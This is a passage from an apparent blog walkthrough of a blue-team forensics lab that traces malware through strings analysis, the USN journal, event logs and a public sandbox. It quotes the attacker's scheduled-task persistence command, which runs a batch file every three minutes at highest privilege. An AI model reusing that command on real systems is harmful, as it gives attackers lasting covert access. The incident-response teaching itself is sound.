SEC401.pdf.cmd&lt;/code&gt; file we just accessed from the RAR archive. For this challenge, we&amp;rsquo;ll start with a simple strings analysis to identify plaintext strings within the file. Maybe we&amp;rsquo;ll stumble across a clue about the second-stage URL.&lt;/p&gt;&#xA;&lt;p&gt;There are plenty of ways to approach this, but I&amp;rsquo;m going to use &lt;a class=&#34;link&#34; href=&#34;https://github.com/horsicq/Detect-It-Easy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Detect It Easy (DiE)&lt;/strong&gt;&lt;/a&gt; to parse the file. &lt;em&gt;DiE&lt;/em&gt; is another tool preinstalled on &lt;em&gt;Flare-VM&lt;/em&gt;, so open it up and point the file name box to the extracted &lt;code&gt;SANS SEC401.pdf.cmd&lt;/code&gt; file. Then, tick the &lt;em&gt;Advanced&lt;/em&gt; box and press &lt;em&gt;Strings&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;529&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/e6ba28a7d1e6e5c30a97135fb342c689_MD5.png&#34; width=&#34;723&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Detect It Easy: Loading the malicious .cmd file&lt;/p&gt;&#xA;&lt;p&gt;While much of the output is obfuscated, we&amp;rsquo;ll get a few clues toward the bottom in the form of readable strings that can help inform the next steps of our analysis.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;476px&#34; data-flex-grow=&#34;198&#34; height=&#34;403&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/9808602655624dd96c02742868296036_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Detect It Easy: Analyzing the strings&lt;/p&gt;&#xA;&lt;p&gt;For example, on line 308, we can see most of a URL — exactly what we need to answer &lt;strong&gt;Question 5&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;8000px&#34; data-flex-grow=&#34;3333&#34; height=&#34;24&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/5de4b59588e8bb96ecaec346b18d8a01_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Detect It Easy: Identifying a URL in the strings&lt;/p&gt;&#xA;&lt;p&gt;Since the protocol (like HTTP or HTTPS) is obfuscated, let&amp;rsquo;s pivot to dynamic analysis in our safe sandbox environment.&lt;/p&gt;&#xA;&lt;p&gt;For this dynamic component, we&amp;rsquo;ll actually execute the &lt;code&gt;.cmd&lt;/code&gt; file and observe its behavior.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1627px&#34; data-flex-grow=&#34;677&#34; height=&#34;118&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/c020f071b47f345123dd581e35d084bc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;CMD: Executing the malware in the sandbox&lt;/p&gt;&#xA;&lt;p&gt;Notice the error? That result makes sense since there&amp;rsquo;s no Internet connection in the sandbox. Importantly though, we can now see the URL more clearly than we could with the strings view. The second stage is attempting to download an image named &lt;code&gt;amanwhogetsnorest.jpg&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1129px&#34; data-flex-grow=&#34;470&#34; height=&#34;170&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/f6c790be2743b4154baac1e317d795ea_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-to-further-understand-how-attackers-cover-their-tracks-identify-the-script-they-used-to-tamper-with-the-event-logs-what-is-the-scriptname&#34;&gt;Question 6: To further understand how attackers cover their tracks, identify the script they used to tamper with the event logs. What is the script name?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, the next stop on our investigation is to identify the script used to tamper with the Windows Event Logs to evade detection. Let&amp;rsquo;s jump back to the &lt;em&gt;DiE&lt;/em&gt; strings view.&lt;/p&gt;&#xA;&lt;p&gt;At the very bottom of the output window (lines 341€“342), we&amp;rsquo;ll spot a potential clue: a file named &lt;code&gt;Eventlogs.ps1&lt;/code&gt; located in the &lt;code&gt;\Windows\Temp&lt;/code&gt; directory. Let&amp;rsquo;s follow this thread and see if we can determine what this script does.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;478px&#34; data-flex-grow=&#34;199&#34; height=&#34;401&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/db37eb8f49ce597cfda3406cef54eba4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Detect It Easy: Identifying a potential log clearing script&lt;/p&gt;&#xA;&lt;p&gt;Next, let&amp;rsquo;s head back into &lt;em&gt;MFTExplorer&lt;/em&gt; and try to locate the file in the directory we found with &lt;em&gt;DiE&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;635px&#34; data-flex-grow=&#34;264&#34; height=&#34;302&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/d25866bb1afb7fece3b0f1b884ef22a0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;MFTExplorer: Confirming script location in the MFT&lt;/p&gt;&#xA;&lt;p&gt;Bingo! Unfortunately, the image data doesn&amp;rsquo;t exist, so we can&amp;rsquo;t simply export the file. While we can gain some insight into the script&amp;rsquo;s function, it looks a bit daunting to decode statically — so let&amp;rsquo;s try something else.&lt;/p&gt;&#xA;&lt;p&gt;I know we&amp;rsquo;re bouncing around between tools but bear with me. Rather than continue with the GUI tool &lt;em&gt;MFTExplorer&lt;/em&gt;, we&amp;rsquo;re going to pivot to another pair of &lt;em&gt;Eric Zimmerman&amp;rsquo;s tools&lt;/em&gt;: &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;MFTECmd&lt;/strong&gt;&lt;/a&gt; and &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Timeline Explorer&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The plan is to parse the NTFS &lt;strong&gt;USN Journal&lt;/strong&gt; file. The quick version: this file has a special data stream (&lt;code&gt;$J&lt;/code&gt;) that contains a record of all file and filename creations, modifications, and deletions. This gives us a detailed timeline of file activity. We&amp;rsquo;ll use &lt;em&gt;MFTECmd&lt;/em&gt; to parse the Journal file and export the results to &lt;code&gt;.CSV&lt;/code&gt;, which we can then analyze with &lt;em&gt;Timeline Explorer&lt;/em&gt; to understand the lifecycle of &lt;code&gt;Eventlogs.ps1&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s put this into practice:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Export the &lt;code&gt;$J&lt;/code&gt; file from either &lt;em&gt;Arsenal&lt;/em&gt; or &lt;em&gt;FTK Imager&lt;/em&gt; from the victim image&amp;rsquo;s &lt;code&gt;C:\&lt;/code&gt; folder.&lt;/li&gt;&#xA;&lt;li&gt;Open PowerShell as an administrator and run the following command:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;MFTECmd.exe -f &amp;lsquo;&amp;lt;path to $J&amp;gt;&amp;rsquo; &amp;ndash;csv &amp;ldquo;&amp;lt;path to CSV output&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;800px&#34; data-flex-grow=&#34;333&#34; height=&#34;240&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/296a51489a399111320163573ee98a1e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;PowerShell: Executing MFTEcmd.exe&lt;/p&gt;&#xA;&lt;ol start=&#34;3&#34;&gt;&#xA;&lt;li&gt;Open the resulting file with &lt;em&gt;Timeline Explorer&lt;/em&gt;. For this challenge, we&amp;rsquo;ll keep it simple and enter &lt;code&gt;eventlogs.ps1&lt;/code&gt; into the &lt;em&gt;Name&lt;/em&gt; column. This will show all records with that filename, and we can refer to the &lt;em&gt;Update Reasons&lt;/em&gt; column to understand when the file was created and deleted.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2909px&#34; data-flex-grow=&#34;1212&#34; height=&#34;66&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/45fe16cc63b3eed400fd2824a533e100_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now we know the file exists and is part of the malware — but if we can&amp;rsquo;t analyze it directly, what else can we do to confirm it tampered with the event logs?&lt;/p&gt;&#xA;&lt;p&gt;Luckily for us, Microsoft audits event log clearing in the Security event log as &lt;em&gt;Event ID 1102&lt;/em&gt; — &amp;ldquo;The audit log was cleared.&amp;rdquo;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-1102&#34;  title=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-1102&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;1102(S) The audit log was cleared. — Windows 10&lt;/strong&gt;&#xA;_Though you shouldn&amp;rsquo;t normally see it, this event generates every time Windows Security audit log is cleared. This is&amp;hellip;_learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-1102&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Though you shouldn&amp;rsquo;t normally see it, this event is generated every time the Windows Security audit log is cleared.&lt;/p&gt;&#xA;&lt;p&gt;We can open the relevant &lt;code&gt;Security.evtx&lt;/code&gt; log from the victim&amp;rsquo;s device in the &lt;code&gt;C:\Windows\System32\winevt\Logs&lt;/code&gt; directory.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;208px&#34; data-flex-grow=&#34;86&#34; height=&#34;922&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/9d8c002f66d1913a1d83628d0b6d7fcf_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The location of the Security.evtx logs&lt;/p&gt;&#xA;&lt;p&gt;Once the log is opened in &lt;em&gt;Event Viewer&lt;/em&gt;, filter for the 1102 events by pressing &lt;em&gt;Filter Current Log&lt;/em&gt; and entering &lt;code&gt;1102&lt;/code&gt; in the search field.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;721px&#34; data-flex-grow=&#34;300&#34; height=&#34;266&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/452977719e07afab31f19ce8d48b6475_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Viewer: Filtering for 1102 events&lt;/p&gt;&#xA;&lt;p&gt;This gives us one event confirming that the Windows Event Logs were cleared — but the real indictment is that the event timestamp matches what we found with &lt;em&gt;Timeline Explorer&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;724px&#34; data-flex-grow=&#34;301&#34; height=&#34;265&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/d02a49d40082c2e83dcfb8c899b1f779_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Viewer: Identifying a log clear event&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1142px&#34; data-flex-grow=&#34;476&#34; height=&#34;168&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/a8d14e87608e4ce24acc560a94f13918_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-knowing-when-unauthorized-actions-happened-helps-in-understanding-the-attack-what-is-the-utc-timestamp-for-when-the-script-that-tampered-with-event-logs-wasrun&#34;&gt;Question 7: Knowing when unauthorized actions happened helps in understanding the attack. What is the UTC timestamp for when the script that tampered with event logs was run?&#xA;&lt;/h3&gt;&lt;p&gt;Based on the evidence we found in &lt;strong&gt;Question 6&lt;/strong&gt;, we already have two solid datapoints indicating when the &lt;code&gt;eventlogs.ps1&lt;/code&gt; script was run — one from &lt;em&gt;Timeline Explorer&lt;/em&gt; and another from the Security event log (Event ID 1102). But just for fun, let&amp;rsquo;s triple-confirm this by checking the &lt;strong&gt;PowerShell&lt;/strong&gt; logs.&lt;/p&gt;&#xA;&lt;p&gt;Navigate back to the mounted &lt;code&gt;C\Windows\System32\winevt\Logs&lt;/code&gt; directory and load up the &lt;code&gt;Windows PowerShell.evtx&lt;/code&gt; log this time.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;481px&#34; data-flex-grow=&#34;200&#34; height=&#34;399&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/7189baf6998c122123dd8712d6b6244b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The location of the Windows PowerShell.evtx logs&lt;/p&gt;&#xA;&lt;p&gt;Instead of filtering for an event ID, we&amp;rsquo;ll use the &lt;em&gt;Find&amp;hellip;&lt;/em&gt; function to search the log for &lt;code&gt;eventlogs.ps1&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;486px&#34; data-flex-grow=&#34;202&#34; height=&#34;395&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/dcc6e271ab0cab9fa3ff065bcefef4e0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Event Viewer: Identifying Eventlogs.ps1 activity&lt;/p&gt;&#xA;&lt;p&gt;This search surfaces the corresponding event within the PowerShell logs, showing that the script was executed at the same time we correlated the logs being cleared and the file being deleted.&lt;/p&gt;&#xA;&lt;p&gt;Since the results from &lt;em&gt;MFTECmd&lt;/em&gt; were already in UTC, we don&amp;rsquo;t even need to perform a conversion.&lt;/p&gt;&#xA;&lt;p&gt;So, while we couldn&amp;rsquo;t see the script contents directly, we can infer its impact through correlation — and now we&amp;rsquo;ve got three independent sources confirming the timestamp of execution.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;793px&#34; data-flex-grow=&#34;330&#34; height=&#34;242&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/7c44562384ef8d5a556e76107dc49dbf_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-we-need-to-identify-if-the-attacker-maintained-access-to-the-machine-what-is-the-command-used-by-the-attacker-for-persistence&#34;&gt;Question 8: We need to identify if the attacker maintained access to the machine. What is the command used by the attacker for persistence?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;re closing in on the end of our investigation. Let&amp;rsquo;s jump back into &lt;em&gt;DiE&lt;/em&gt; and review the strings for further clues. Down on line 335, we&amp;rsquo;ll find evidence of a suspicious task in the &lt;code&gt;Tasks&lt;/code&gt; directory: &lt;code&gt;_\Windows\System32\Tasks\whoisthebaba_&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1109px&#34; data-flex-grow=&#34;462&#34; height=&#34;173&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/b2878c7a8834ced46708f551a8d207fe_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Detect It Easy: Identifying a suspicious scheduled task in strings&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;re off to a solid start, but let&amp;rsquo;s correlate this with the victim image using &lt;em&gt;MFTExplorer&lt;/em&gt; to see if this file existed on the system by navigating to the folder within the mounted image.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;432px&#34; data-flex-grow=&#34;180&#34; height=&#34;444&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/4eb8797d08f9849e62a8ef86b98031d1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;MFTExplorer: Identifying the scheduled task artifact in the victim image&lt;/p&gt;&#xA;&lt;p&gt;Great — we found it! Unfortunately, we can&amp;rsquo;t extract the file, and there&amp;rsquo;s no evidence in the registry or Security Event Log to determine what this task actually does.&lt;/p&gt;&#xA;&lt;p&gt;Time to get creative.&lt;/p&gt;&#xA;&lt;p&gt;Since my environment doesn&amp;rsquo;t have Internet access, the next-stage payloads can&amp;rsquo;t be downloaded, so dynamic analysis locally won&amp;rsquo;t help much. Instead, let&amp;rsquo;s pivot to another external threat analysis service. This time, instead of &lt;em&gt;VirusTotal&lt;/em&gt;, we&amp;rsquo;ll use something more visual: &lt;a class=&#34;link&#34; href=&#34;http://Since%20my%20environment%20doesn%27t%20have%20Internet%20access,%20the%20next-stage%20payloads%20can%27t%20be%20downloaded,%20so%20dynamic%20analysis%20locally%20won%27t%20help%20much.%20Instead,%20let%27s%20pivot%20to%20another%20external%20threat%20analysis%20service.%20This%20time,%20instead%20of%20VirusTotal,%20we%27ll%20use%20something%20more%20visual:%20Any.Run.&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Any.Run&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In your browser, navigate to &lt;em&gt;Any.Run&lt;/em&gt; and locate the report search. In the upper-right search box, submit the hash of &lt;code&gt;SANS SEC401.pdf.cmd&lt;/code&gt;, which we can collect from &lt;em&gt;FTK Imager&lt;/em&gt; or PowerShell (as we did in &lt;strong&gt;Question 3&lt;/strong&gt;):&lt;/p&gt;&#xA;&lt;p&gt;5790225B1BCFA692C57A0914DD78678CEEF6E212FBE7042B7DDF5A06FD4AB70D&lt;/p&gt;&#xA;&lt;p&gt;The search will return several reports where the platform has analyzed this file. For this walkthrough, select the report from &lt;strong&gt;09 August 2025&lt;/strong&gt;, labeled &lt;em&gt;Malicious Activity&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;493px&#34; data-flex-grow=&#34;205&#34; height=&#34;389&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/c7b82f03ceca890598700185d5472d6d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any.Run: Searching public submissions&lt;/p&gt;&#xA;&lt;p&gt;Once inside, we can use the visual replay window to watch the execution of the file, just as we would have seen in our own sandbox. This is an extremely robust capability offered by &lt;em&gt;Any.Run&lt;/em&gt; that helps visualize the dynamic analysis process.&lt;/p&gt;&#xA;&lt;p&gt;But for &lt;strong&gt;Question 8&lt;/strong&gt;, we&amp;rsquo;re most interested in the command used to create the scheduled task. We can identify this in the &lt;em&gt;Command Prompt&lt;/em&gt; window during execution. On the right side, we&amp;rsquo;ll also see it listed in the process tree:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;491px&#34; data-flex-grow=&#34;204&#34; height=&#34;391&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/36c198c06e4b67b53cb57c55d7ea1f64_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://app.any.run/tasks/69a81081-12f1-4fde-bd29-596d67b44cfb&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.any.run/tasks/69a81081-12f1-4fde-bd29-596d67b44cfb&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;schtasks /create /sc minute /mo 3 /tn &amp;ldquo;whoisthebaba&amp;rdquo; /tr C:\Windows\Temp\run.bat /RL HIGHEST&lt;/p&gt;&#xA;&lt;p&gt;This command creates a scheduled task named &lt;code&gt;whoisthebaba&lt;/code&gt; that runs every 3 minutes with the highest privilege level, executing &lt;code&gt;run.bat&lt;/code&gt; from the &lt;code&gt;Temp&lt;/code&gt; directory.&lt;/p&gt;&#xA;&lt;p&gt;So, while we didn&amp;rsquo;t uncover this in our own environment, this shows the value of leveraging public sandboxes for dynamic analysis to overcome local limitations to ultimately find the answer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1156px&#34; data-flex-grow=&#34;481&#34; height=&#34;166&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/e2a80ee97ef5071d4d98f228661e4737_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-to-understand-the-attackers-data-exfiltration-strategy-we-need-to-locate-where-they-stored-their-harvested-data-what-is-the-full-path-of-the-file-storing-the-data-collected-by-one-of-the-attackers-tools-in-preparation-for-data-exfiltration&#34;&gt;Question 9: To understand the attacker&amp;rsquo;s data exfiltration strategy, we need to locate where they stored their harvested data. What is the full path of the file storing the data collected by one of the attacker&amp;rsquo;s tools in preparation for data exfiltration?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the final question — and now we need to determine what data the malware collected and how it was staged for exfiltration.&lt;/p&gt;&#xA;&lt;p&gt;We&amp;rsquo;ve already identified another script set to run with the scheduled task we found in &lt;strong&gt;Question 8&lt;/strong&gt;: &lt;code&gt;C:\Windows\Temp\run.bat&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;You may have already noticed that we previously found a reference to this script during the strings analysis using &lt;em&gt;DiE&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;476px&#34; data-flex-grow=&#34;198&#34; height=&#34;403&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/b4598c72eb9745d1d9a140eefbdcff92_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Detect It Easy: Confirming the run.bat string&lt;/p&gt;&#xA;&lt;p&gt;Fortunately, we can return to &lt;em&gt;FTK Imager&lt;/em&gt; and extract this file from the VHD by navigating to the &lt;code&gt;C:\Windows\Temp&lt;/code&gt; directory, right-clicking &lt;code&gt;run.bat&lt;/code&gt;, and selecting &lt;em&gt;Export Files&amp;hellip;&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;There&amp;rsquo;s something curious at the bottom of the data window — we also see a reference to &lt;code&gt;run.ps1&lt;/code&gt;. Let&amp;rsquo;s export that file too and drop it into the exported artifacts directory of our analysis environment.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;247px&#34; data-flex-grow=&#34;103&#34; height=&#34;776&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-spottedinthewild-blue-team-lab-walkthrough/85f5cef8bb23b96defda180d71e15253_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;FTK Imager: Discovering run.ps1 reference in run.bat&lt;/p&gt;&#xA;&lt;p&gt;Since &lt;code&gt;run.bat&lt;/code&gt; references &lt;code&gt;run.ps1&lt;/code&gt;, we&amp;rsquo;ll jump straight into analyzing the &lt;code&gt;.ps1&lt;/code&gt; file first. And because my sandbox is isolated and has no internet access, there&amp;rsquo;s little danger in executing &lt;code&gt;run.ps1&lt;/code&gt; locally.&lt;/p&gt;&#xA;&lt;p&gt;Before executing, we&amp;rsquo;ll monitor the activity with another built-in tool from &lt;em&gt;Flare-VM&lt;/em&gt;: &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/sysinternals/downloads/procmon&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Sysinternals Process Monitor (ProcMon)&lt;/strong&gt;&lt;/a&gt;. Open &lt;em&gt;ProcMon&lt;/em&gt; and set the filter to: Process Name is &lt;code&gt;powershell.exe&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;389px&#34; data-flex-grow=&#34;162&#34; height=&#34;362&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 